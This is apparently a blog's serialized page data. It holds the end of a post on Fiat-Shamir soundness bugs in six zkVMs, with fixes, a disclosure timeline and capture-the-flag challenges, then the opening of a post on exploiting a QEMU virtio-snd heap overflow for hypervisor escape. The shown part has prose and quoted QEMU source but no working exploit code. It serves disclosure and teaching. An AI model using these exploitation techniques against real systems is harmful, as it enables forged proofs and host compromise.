implementor, which may not have a good understanding of the full protocol.",{"type":23,"tag":546,"props":122613,"children":122615},{"id":122614},"the-hot-potato-problem",[122616],{"type":28,"value":122617},"The Hot Potato Problem",{"type":23,"tag":24,"props":122619,"children":122620},{},[122621],{"type":28,"value":122622},"Modern zkVMs are modular:",{"type":23,"tag":24,"props":122624,"children":122625},{},[122626],{"type":23,"tag":3918,"props":122627,"children":122630},{"alt":122628,"src":122629},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":23,"tag":24,"props":122632,"children":122633},{},[122634],{"type":28,"value":122635},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":23,"tag":546,"props":122637,"children":122639},{"id":122638},"optimization-pressure",[122640],{"type":28,"value":122641},"Optimization Pressure",{"type":23,"tag":24,"props":122643,"children":122644},{},[122645],{"type":28,"value":122646},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":23,"tag":24,"props":122648,"children":122649},{},[122650],{"type":28,"value":122651},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":23,"tag":546,"props":122653,"children":122655},{"id":122654},"testing-doesnt-catch-adversarial-inputs",[122656],{"type":28,"value":122657},"Testing Doesn't Catch Adversarial Inputs",{"type":23,"tag":24,"props":122659,"children":122660},{},[122661],{"type":28,"value":122662},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":23,"tag":442,"props":122664,"children":122665},{},[],{"type":23,"tag":446,"props":122667,"children":122669},{"id":122668},"how-to-find-and-fix-these-bugs",[122670],{"type":28,"value":122671},"How to Find and Fix These Bugs",{"type":23,"tag":546,"props":122673,"children":122675},{"id":122674},"prevention",[122676],{"type":28,"value":122677},"Prevention",{"type":23,"tag":24,"props":122679,"children":122680},{},[122681],{"type":28,"value":122682},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":23,"tag":24,"props":122684,"children":122685},{},[122686],{"type":28,"value":122687},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":23,"tag":24,"props":122689,"children":122690},{},[122691],{"type":28,"value":122692},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":23,"tag":24,"props":122694,"children":122695},{},[122696],{"type":28,"value":122697},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":23,"tag":24,"props":122699,"children":122700},{},[122701],{"type":28,"value":122702},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":23,"tag":442,"props":122704,"children":122705},{},[],{"type":23,"tag":446,"props":122707,"children":122709},{"id":122708},"responsible-disclosure-timeline",[122710],{"type":28,"value":122711},"Responsible Disclosure Timeline",{"type":23,"tag":55740,"props":122713,"children":122714},{},[122715,122743],{"type":23,"tag":122716,"props":122717,"children":122718},"thead",{},[122719],{"type":23,"tag":122720,"props":122721,"children":122722},"tr",{},[122723,122728,122733,122738],{"type":23,"tag":122724,"props":122725,"children":122726},"th",{},[122727],{"type":28,"value":23195},{"type":23,"tag":122724,"props":122729,"children":122730},{},[122731],{"type":28,"value":122732},"Reported",{"type":23,"tag":122724,"props":122734,"children":122735},{},[122736],{"type":28,"value":122737},"Fixed",{"type":23,"tag":122724,"props":122739,"children":122740},{},[122741],{"type":28,"value":122742},"Response Time",{"type":23,"tag":122744,"props":122745,"children":122746},"tbody",{},[122747,122770,122791,122811,122833,122854],{"type":23,"tag":122720,"props":122748,"children":122749},{},[122750,122755,122760,122765],{"type":23,"tag":122751,"props":122752,"children":122753},"td",{},[122754],{"type":28,"value":107578},{"type":23,"tag":122751,"props":122756,"children":122757},{},[122758],{"type":28,"value":122759},"Sep 2025",{"type":23,"tag":122751,"props":122761,"children":122762},{},[122763],{"type":28,"value":122764},"Oct 3, 2025",{"type":23,"tag":122751,"props":122766,"children":122767},{},[122768],{"type":28,"value":122769},"\u003C1 week",{"type":23,"tag":122720,"props":122771,"children":122772},{},[122773,122777,122782,122787],{"type":23,"tag":122751,"props":122774,"children":122775},{},[122776],{"type":28,"value":107584},{"type":23,"tag":122751,"props":122778,"children":122779},{},[122780],{"type":28,"value":122781},"Oct 2025",{"type":23,"tag":122751,"props":122783,"children":122784},{},[122785],{"type":28,"value":122786},"Oct 24, 2025",{"type":23,"tag":122751,"props":122788,"children":122789},{},[122790],{"type":28,"value":122769},{"type":23,"tag":122720,"props":122792,"children":122793},{},[122794,122798,122802,122807],{"type":23,"tag":122751,"props":122795,"children":122796},{},[122797],{"type":28,"value":107590},{"type":23,"tag":122751,"props":122799,"children":122800},{},[122801],{"type":28,"value":122781},{"type":23,"tag":122751,"props":122803,"children":122804},{},[122805],{"type":28,"value":122806},"Oct 31, 2025",{"type":23,"tag":122751,"props":122808,"children":122809},{},[122810],{"type":28,"value":122769},{"type":23,"tag":122720,"props":122812,"children":122813},{},[122814,122818,122823,122828],{"type":23,"tag":122751,"props":122815,"children":122816},{},[122817],{"type":28,"value":107596},{"type":23,"tag":122751,"props":122819,"children":122820},{},[122821],{"type":28,"value":122822},"Nov 2025",{"type":23,"tag":122751,"props":122824,"children":122825},{},[122826],{"type":28,"value":122827},"Mar 5, 2026",{"type":23,"tag":122751,"props":122829,"children":122830},{},[122831],{"type":28,"value":122832},"~4 months",{"type":23,"tag":122720,"props":122834,"children":122835},{},[122836,122840,122845,122850],{"type":23,"tag":122751,"props":122837,"children":122838},{},[122839],{"type":28,"value":107608},{"type":23,"tag":122751,"props":122841,"children":122842},{},[122843],{"type":28,"value":122844},"Dec 2025",{"type":23,"tag":122751,"props":122846,"children":122847},{},[122848],{"type":28,"value":122849},"Dec 29, 2025",{"type":23,"tag":122751,"props":122851,"children":122852},{},[122853],{"type":28,"value":122769},{"type":23,"tag":122720,"props":122855,"children":122856},{},[122857,122861,122865,122870],{"type":23,"tag":122751,"props":122858,"children":122859},{},[122860],{"type":28,"value":107602},{"type":23,"tag":122751,"props":122862,"children":122863},{},[122864],{"type":28,"value":122822},{"type":23,"tag":122751,"props":122866,"children":122867},{},[122868],{"type":28,"value":122869},"Jan 21, 2026?",{"type":23,"tag":122751,"props":122871,"children":122872},{},[122873],{"type":28,"value":122874},"3 months",{"type":23,"tag":24,"props":122876,"children":122877},{},[122878],{"type":28,"value":122879},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":23,"tag":442,"props":122881,"children":122882},{},[],{"type":23,"tag":446,"props":122884,"children":122886},{"id":122885},"challenges",[122887],{"type":28,"value":107621},{"type":23,"tag":24,"props":122889,"children":122890},{},[122891,122893],{"type":28,"value":122892},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":23,"tag":122894,"props":122895,"children":122896},"del",{},[122897],{"type":28,"value":122898},"the first 10 solvers will get a T-shirt.",{"type":23,"tag":24,"props":122900,"children":122901},{},[122902,122904,122957,122958,123214],{"type":28,"value":122903},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":23,"tag":37,"props":122905,"children":122907},{"className":122906},[3984,3985],[122908],{"type":23,"tag":41,"props":122909,"children":122911},{"className":122910},[3990],[122912],{"type":23,"tag":41,"props":122913,"children":122915},{"className":122914,"ariaHidden":3996},[3995],[122916],{"type":23,"tag":41,"props":122917,"children":122919},{"className":122918},[4001],[122920,122924,122929,122934,122938,122943,122948,122952],{"type":23,"tag":41,"props":122921,"children":122923},{"className":122922,"style":114820},[4006],[],{"type":23,"tag":41,"props":122925,"children":122927},{"className":122926},[4012,21574],[122928],{"type":28,"value":458},{"type":23,"tag":41,"props":122930,"children":122932},{"className":122931},[4124],[122933],{"type":28,"value":4127},{"type":23,"tag":41,"props":122935,"children":122937},{"className":122936,"style":4131},[4092],[],{"type":23,"tag":41,"props":122939,"children":122941},{"className":122940},[4012,21574],[122942],{"type":28,"value":3222},{"type":23,"tag":41,"props":122944,"children":122946},{"className":122945},[4124],[122947],{"type":28,"value":4127},{"type":23,"tag":41,"props":122949,"children":122951},{"className":122950,"style":4131},[4092],[],{"type":23,"tag":41,"props":122953,"children":122955},{"className":122954},[4012,21574],[122956],{"type":28,"value":3146},{"type":28,"value":109421},{"type":23,"tag":37,"props":122959,"children":122961},{"className":122960},[3984,3985],[122962],{"type":23,"tag":41,"props":122963,"children":122965},{"className":122964},[3990],[122966],{"type":23,"tag":41,"props":122967,"children":122969},{"className":122968,"ariaHidden":3996},[3995],[122970,123033,123095,123201],{"type":23,"tag":41,"props":122971,"children":122973},{"className":122972},[4001],[122974,122979,123020,123024,123029],{"type":23,"tag":41,"props":122975,"children":122978},{"className":122976,"style":122977},[4006],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":23,"tag":41,"props":122980,"children":122982},{"className":122981},[4012],[122983,122988],{"type":23,"tag":41,"props":122984,"children":122986},{"className":122985},[4012,21574],[122987],{"type":28,"value":458},{"type":23,"tag":41,"props":122989,"children":122991},{"className":122990},[4028],[122992],{"type":23,"tag":41,"props":122993,"children":122995},{"className":122994},[4033],[122996],{"type":23,"tag":41,"props":122997,"children":122999},{"className":122998},[4038],[123000],{"type":23,"tag":41,"props":123001,"children":123003},{"className":123002,"style":4007},[4043],[123004],{"type":23,"tag":41,"props":123005,"children":123006},{"style":4047},[123007,123011],{"type":23,"tag":41,"props":123008,"children":123010},{"className":123009,"style":4053},[4052],[],{"type":23,"tag":41,"props":123012,"children":123014},{"className":123013},[4058,4059,4060,4061],[123015],{"type":23,"tag":41,"props":123016,"children":123018},{"className":123017},[4012,4061],[123019],{"type":28,"value":17282},{"type":23,"tag":41,"props":123021,"children":123023},{"className":123022,"style":4093},[4092],[],{"type":23,"tag":41,"props":123025,"children":123027},{"className":123026},[4098],[123028],{"type":28,"value":4383},{"type":23,"tag":41,"props":123030,"children":123032},{"className":123031,"style":4093},[4092],[],{"type":23,"tag":41,"props":123034,"children":123036},{"className":123035},[4001],[123037,123041,123082,123086,123091],{"type":23,"tag":41,"props":123038,"children":123040},{"className":123039,"style":4007},[4006],[],{"type":23,"tag":41,"props":123042,"children":123044},{"className":123043},[4012],[123045,123050],{"type":23,"tag":41,"props":123046,"children":123048},{"className":123047},[4012,21574],[123049],{"type":28,"value":3222},{"type":23,"tag":41,"props":123051,"children":123053},{"className":123052},[4028],[123054],{"type":23,"tag":41,"props":123055,"children":123057},{"className":123056},[4033],[123058],{"type":23,"tag":41,"props":123059,"children":123061},{"className":123060},[4038],[123062],{"type":23,"tag":41,"props":123063,"children":123065},{"className":123064,"style":4007},[4043],[123066],{"type":23,"tag":41,"props":123067,"children":123068},{"style":4047},[123069,123073],{"type":23,"tag":41,"props":123070,"children":123072},{"className":123071,"style":4053},[4052],[],{"type":23,"tag":41,"props":123074,"children":123076},{"className":123075},[4058,4059,4060,4061],[123077],{"type":23,"tag":41,"props":123078,"children":123080},{"className":123079},[4012,4061],[123081],{"type":28,"value":17282},{"type":23,"tag":41,"props":123083,"children":123085},{"className":123084,"style":4190},[4092],[],{"type":23,"tag":41,"props":123087,"children":123089},{"className":123088},[4195],[123090],{"type":28,"value":2381},{"type":23,"tag":41,"props":123092,"children":123094},{"className":123093,"style":4190},[4092],[],{"type":23,"tag":41,"props":123096,"children":123098},{"className":123097},[4001],[123099,123104,123145,123150,123154,123159,123164,123168,123173,123178,123182,123187,123191,123197],{"type":23,"tag":41,"props":123100,"children":123103},{"className":123101,"style":123102},[4006],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":23,"tag":41,"props":123105,"children":123107},{"className":123106},[4012],[123108,123113],{"type":23,"tag":41,"props":123109,"children":123111},{"className":123110},[4012,21574],[123112],{"type":28,"value":3146},{"type":23,"tag":41,"props":123114,"children":123116},{"className":123115},[4028],[123117],{"type":23,"tag":41,"props":123118,"children":123120},{"className":123119},[4033],[123121],{"type":23,"tag":41,"props":123122,"children":123124},{"className":123123},[4038],[123125],{"type":23,"tag":41,"props":123126,"children":123128},{"className":123127,"style":4007},[4043],[123129],{"type":23,"tag":41,"props":123130,"children":123131},{"style":4047},[123132,123136],{"type":23,"tag":41,"props":123133,"children":123135},{"className":123134,"style":4053},[4052],[],{"type":23,"tag":41,"props":123137,"children":123139},{"className":123138},[4058,4059,4060,4061],[123140],{"type":23,"tag":41,"props":123141,"children":123143},{"className":123142},[4012,4061],[123144],{"type":28,"value":17282},{"type":23,"tag":41,"props":123146,"children":123148},{"className":123147},[4124],[123149],{"type":28,"value":4127},{"type":23,"tag":41,"props":123151,"children":123153},{"className":123152,"style":4131},[4092],[],{"type":23,"tag":41,"props":123155,"children":123157},{"className":123156},[4012,21574],[123158],{"type":28,"value":458},{"type":23,"tag":41,"props":123160,"children":123162},{"className":123161},[4124],[123163],{"type":28,"value":4127},{"type":23,"tag":41,"props":123165,"children":123167},{"className":123166,"style":4131},[4092],[],{"type":23,"tag":41,"props":123169,"children":123171},{"className":123170},[4012,21574],[123172],{"type":28,"value":3222},{"type":23,"tag":41,"props":123174,"children":123176},{"className":123175},[4124],[123177],{"type":28,"value":4127},{"type":23,"tag":41,"props":123179,"children":123181},{"className":123180,"style":4131},[4092],[],{"type":23,"tag":41,"props":123183,"children":123185},{"className":123184},[4012,21574],[123186],{"type":28,"value":3146},{"type":23,"tag":41,"props":123188,"children":123190},{"className":123189,"style":4190},[4092],[],{"type":23,"tag":41,"props":123192,"children":123194},{"className":123193},[4195],[123195],{"type":28,"value":123196},"≥",{"type":23,"tag":41,"props":123198,"children":123200},{"className":123199,"style":4190},[4092],[],{"type":23,"tag":41,"props":123202,"children":123204},{"className":123203},[4001],[123205,123209],{"type":23,"tag":41,"props":123206,"children":123208},{"className":123207,"style":93796},[4006],[],{"type":23,"tag":41,"props":123210,"children":123212},{"className":123211},[4012],[123213],{"type":28,"value":317},{"type":28,"value":123215},". Good luck!",{"type":23,"tag":546,"props":123217,"children":123219},{"id":123218},"jolt",[123220],{"type":28,"value":107578},{"type":23,"tag":24,"props":123222,"children":123223},{},[123224,123226,123237,123239],{"type":28,"value":123225},"See ",{"type":23,"tag":458,"props":123227,"children":123234},{"href":123228,"target":123229,"rel":123230,"download":123233},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[123231,123232],"noopener","noreferrer","handout_jolt.tar.gz",[123235],{"type":28,"value":123236},"the handout",{"type":28,"value":123238}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":23,"tag":37,"props":123240,"children":123242},{"className":123241},[],[123243],{"type":28,"value":123244},"jolt.chal.osec.io:8960",{"type":23,"tag":546,"props":123246,"children":123248},{"id":123247},"nexus-1",[123249],{"type":28,"value":107584},{"type":23,"tag":24,"props":123251,"children":123252},{},[123253,123254,123261,123262],{"type":28,"value":123225},{"type":23,"tag":458,"props":123255,"children":123259},{"href":123256,"target":123229,"rel":123257,"download":123258},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[123231,123232],"handout_nexus.tar.gz",[123260],{"type":28,"value":123236},{"type":28,"value":123238},{"type":23,"tag":37,"props":123263,"children":123265},{"className":123264},[],[123266],{"type":28,"value":123267},"nexus.chal.osec.io:8950",{"type":23,"tag":24,"props":123269,"children":123270},{},[123271],{"type":28,"value":123272},"Now you should have enough margin to prove Fermat wrong.",{"type":23,"tag":442,"props":123274,"children":123275},{},[],{"type":23,"tag":446,"props":123277,"children":123279},{"id":123278},"takeaways",[123280],{"type":28,"value":123281},"Takeaways",{"type":23,"tag":24,"props":123283,"children":123284},{},[123285],{"type":28,"value":123286},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":23,"tag":24,"props":123288,"children":123289},{},[123290],{"type":28,"value":123291},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":23,"tag":24,"props":123293,"children":123294},{},[123295,123300],{"type":23,"tag":510,"props":123296,"children":123297},{},[123298],{"type":28,"value":123299},"For the ZK ecosystem:",{"type":28,"value":123301}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":23,"tag":24,"props":123303,"children":123304},{},[123305],{"type":28,"value":123306},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":23,"tag":24,"props":123308,"children":123309},{},[123310,123315],{"type":23,"tag":510,"props":123311,"children":123312},{},[123313],{"type":28,"value":123314},"For auditors:",{"type":28,"value":123316}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":23,"tag":24,"props":123318,"children":123319},{},[123320,123325],{"type":23,"tag":510,"props":123321,"children":123322},{},[123323],{"type":28,"value":123324},"For builders:",{"type":28,"value":123326}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":23,"tag":2843,"props":123328,"children":123329},{},[123330],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":123332},[123333,123334,123337,123343,123344,123352,123358,123361,123362,123366],{"id":107629,"depth":54,"text":107632},{"id":107771,"depth":54,"text":107774,"children":123335},[123336],{"id":107777,"depth":76,"text":107780},{"id":108206,"depth":54,"text":108209,"children":123338},[123339,123340,123341,123342],{"id":108217,"depth":76,"text":108220},{"id":108405,"depth":76,"text":108408},{"id":111786,"depth":76,"text":111789},{"id":113000,"depth":76,"text":113003},{"id":114637,"depth":54,"text":114640},{"id":115143,"depth":54,"text":115146,"children":123345},[123346,123347,123348,123349,123350,123351],{"id":115165,"depth":76,"text":115168},{"id":116490,"depth":76,"text":107584},{"id":117626,"depth":76,"text":117629},{"id":118294,"depth":76,"text":118297},{"id":120950,"depth":76,"text":120953},{"id":121504,"depth":76,"text":107608},{"id":122433,"depth":54,"text":122436,"children":123353},[123354,123355,123356,123357],{"id":122444,"depth":76,"text":122447},{"id":122614,"depth":76,"text":122617},{"id":122638,"depth":76,"text":122641},{"id":122654,"depth":76,"text":122657},{"id":122668,"depth":54,"text":122671,"children":123359},[123360],{"id":122674,"depth":76,"text":122677},{"id":122708,"depth":54,"text":122711},{"id":122885,"depth":54,"text":107621,"children":123363},[123364,123365],{"id":123218,"depth":76,"text":107578},{"id":123247,"depth":76,"text":107584},{"id":123278,"depth":54,"text":123281},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":123371,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":123372,"description":123373,"date":123374,"author":123375,"image":123376,"isFeatured":18,"onBlogPage":18,"tags":123378,"body":123381,"_type":2864,"_id":131667,"_source":2866,"_file":131668,"_stem":131669,"_extension":2869},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":123377,"width":96986,"height":13},"/posts/virtio-snd-qemu-0day/title.png",[123379,123380],"qemu","heap-overflow",{"type":20,"children":123382,"toc":131649},[123383,123388,123393,123398,123404,123409,123414,123422,123428,123440,123444,123449,123457,123462,123468,123473,123486,124096,124131,124176,124210,124245,124380,124428,124434,124439,125195,125240,125276,125311,125376,125396,125846,125893,125896,125901,125966,125992,126014,126018,126023,126028,126034,126039,126044,126049,126055,126068,126074,126079,126087,126157,126162,126168,126181,126407,126470,126489,126872,126877,126910,126915,127191,127203,127221,127500,127512,127515,127550,127555,127561,127573,127585,127590,127595,127605,127640,128257,128289,128300,128336,128349,128355,128367,128375,128401,128406,128439,128480,128486,128505,128543,128551,128600,128605,128654,128659,128667,128754,128760,128799,128811,128819,128837,128856,128864,128876,128884,128903,128911,128922,128930,128941,128949,128962,128970,128976,128981,128994,129002,129020,129028,129040,129045,129053,129089,129122,129129,129163,129171,129176,129182,129194,129205,129484,129544,129612,129620,129654,130258,130269,130277,130283,130288,130299,131053,131086,131098,131184,131204,131413,131460,131472,131478,131497,131523,131551,131567,131594,131597,131617,131631,131635,131640,131645],{"type":23,"tag":24,"props":123384,"children":123385},{},[123386],{"type":28,"value":123387},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":23,"tag":446,"props":123389,"children":123390},{"id":123379},[123391],{"type":28,"value":123392},"QEMU",{"type":23,"tag":24,"props":123394,"children":123395},{},[123396],{"type":28,"value":123397},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":23,"tag":546,"props":123399,"children":123401},{"id":123400},"virtio-devices",[123402],{"type":28,"value":123403},"Virtio Devices",{"type":23,"tag":24,"props":123405,"children":123406},{},[123407],{"type":28,"value":123408},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":23,"tag":24,"props":123410,"children":123411},{},[123412],{"type":28,"value":123413},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":23,"tag":24,"props":123415,"children":123416},{},[123417],{"type":23,"tag":3918,"props":123418,"children":123421},{"alt":123419,"src":123420},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":23,"tag":446,"props":123423,"children":123425},{"id":123424},"finding-a-bug",[123426],{"type":28,"value":123427},"Finding a Bug",{"type":23,"tag":24,"props":123429,"children":123430},{},[123431,123433,123439],{"type":28,"value":123432},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":23,"tag":37,"props":123434,"children":123436},{"className":123435},[],[123437],{"type":28,"value":123438},"virtio-snd",{"type":28,"value":706},{"type":23,"tag":546,"props":123441,"children":123442},{"id":123438},[123443],{"type":28,"value":123438},{"type":23,"tag":24,"props":123445,"children":123446},{},[123447],{"type":28,"value":123448},"From the official documentation:",{"type":23,"tag":518,"props":123450,"children":123451},{},[123452],{"type":23,"tag":24,"props":123453,"children":123454},{},[123455],{"type":28,"value":123456},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":23,"tag":24,"props":123458,"children":123459},{},[123460],{"type":28,"value":123461},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":23,"tag":18881,"props":123463,"children":123465},{"id":123464},"audio-data-buffers",[123466],{"type":28,"value":123467},"Audio Data Buffers",{"type":23,"tag":24,"props":123469,"children":123470},{},[123471],{"type":28,"value":123472},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":23,"tag":24,"props":123474,"children":123475},{},[123476,123478,123484],{"type":28,"value":123477},"For example, the following is ",{"type":23,"tag":37,"props":123479,"children":123481},{"className":123480},[],[123482],{"type":28,"value":123483},"virtio_snd_handle_rx_xfer",{"type":28,"value":123485},", which is responsible for allocating buffers for an input audio stream:",{"type":23,"tag":31,"props":123487,"children":123489},{"code":123488,"language":3146,"meta":7,"className":16503,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[123490],{"type":23,"tag":37,"props":123491,"children":123492},{"__ignoreMap":7},[123493,123500,123508,123516,123523,123531,123539,123547,123595,123602,123619,123626,123633,123645,123662,123669,123705,123725,123736,123743,123750,123758,123765,123798,123857,123875,123914,123939,123963,123991,124018,124056,124063,124075,124082,124089],{"type":23,"tag":41,"props":123494,"children":123495},{"class":43,"line":44},[123496],{"type":23,"tag":41,"props":123497,"children":123498},{"style":48},[123499],{"type":28,"value":49360},{"type":23,"tag":41,"props":123501,"children":123502},{"class":43,"line":54},[123503],{"type":23,"tag":41,"props":123504,"children":123505},{"style":48},[123506],{"type":28,"value":123507}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":23,"tag":41,"props":123509,"children":123510},{"class":43,"line":76},[123511],{"type":23,"tag":41,"props":123512,"children":123513},{"style":48},[123514],{"type":28,"value":123515}," * respective streams for consumption.\n",{"type":23,"tag":41,"props":123517,"children":123518},{"class":43,"line":85},[123519],{"type":23,"tag":41,"props":123520,"children":123521},{"style":48},[123522],{"type":28,"value":19476},{"type":23,"tag":41,"props":123524,"children":123525},{"class":43,"line":105},[123526],{"type":23,"tag":41,"props":123527,"children":123528},{"style":48},[123529],{"type":28,"value":123530}," * @vdev: VirtIOSound device\n",{"type":23,"tag":41,"props":123532,"children":123533},{"class":43,"line":155},[123534],{"type":23,"tag":41,"props":123535,"children":123536},{"style":48},[123537],{"type":28,"value":123538}," * @vq: rx virtqueue\n",{"type":23,"tag":41,"props":123540,"children":123541},{"class":43,"line":186},[123542],{"type":23,"tag":41,"props":123543,"children":123544},{"style":48},[123545],{"type":28,"value":123546}," */\n",{"type":23,"tag":41,"props":123548,"children":123549},{"class":43,"line":195},[123550,123554,123558,123563,123568,123572,123577,123582,123586,123591],{"type":23,"tag":41,"props":123551,"children":123552},{"style":64},[123553],{"type":28,"value":51039},{"type":23,"tag":41,"props":123555,"children":123556},{"style":64},[123557],{"type":28,"value":51044},{"type":23,"tag":41,"props":123559,"children":123560},{"style":114},[123561],{"type":28,"value":123562}," virtio_snd_handle_rx_xfer",{"type":23,"tag":41,"props":123564,"children":123565},{"style":70},[123566],{"type":28,"value":123567},"(VirtIODevice ",{"type":23,"tag":41,"props":123569,"children":123570},{"style":170},[123571],{"type":28,"value":377},{"type":23,"tag":41,"props":123573,"children":123574},{"style":858},[123575],{"type":28,"value":123576},"vdev",{"type":23,"tag":41,"props":123578,"children":123579},{"style":70},[123580],{"type":28,"value":123581},", VirtQueue ",{"type":23,"tag":41,"props":123583,"children":123584},{"style":170},[123585],{"type":28,"value":377},{"type":23,"tag":41,"props":123587,"children":123588},{"style":858},[123589],{"type":28,"value":123590},"vq",{"type":23,"tag":41,"props":123592,"children":123593},{"style":70},[123594],{"type":28,"value":1969},{"type":23,"tag":41,"props":123596,"children":123597},{"class":43,"line":905},[123598],{"type":23,"tag":41,"props":123599,"children":123600},{"style":70},[123601],{"type":28,"value":1559},{"type":23,"tag":41,"props":123603,"children":123604},{"class":43,"line":922},[123605,123610,123614],{"type":23,"tag":41,"props":123606,"children":123607},{"style":70},[123608],{"type":28,"value":123609},"    VirtQueueElement ",{"type":23,"tag":41,"props":123611,"children":123612},{"style":170},[123613],{"type":28,"value":377},{"type":23,"tag":41,"props":123615,"children":123616},{"style":70},[123617],{"type":28,"value":123618},"elem;\n",{"type":23,"tag":41,"props":123620,"children":123621},{"class":43,"line":930},[123622],{"type":23,"tag":41,"props":123623,"children":123624},{"style":70},[123625],{"type":28,"value":104519},{"type":23,"tag":41,"props":123627,"children":123628},{"class":43,"line":939},[123629],{"type":23,"tag":41,"props":123630,"children":123631},{"emptyLinePlaceholder":18},[123632],{"type":28,"value":82},{"type":23,"tag":41,"props":123634,"children":123635},{"class":43,"line":947},[123636,123640],{"type":23,"tag":41,"props":123637,"children":123638},{"style":58},[123639],{"type":28,"value":3034},{"type":23,"tag":41,"props":123641,"children":123642},{"style":70},[123643],{"type":28,"value":123644}," (;;) {\n",{"type":23,"tag":41,"props":123646,"children":123647},{"class":43,"line":985},[123648,123653,123657],{"type":23,"tag":41,"props":123649,"children":123650},{"style":70},[123651],{"type":28,"value":123652},"        VirtIOSoundPCMStream 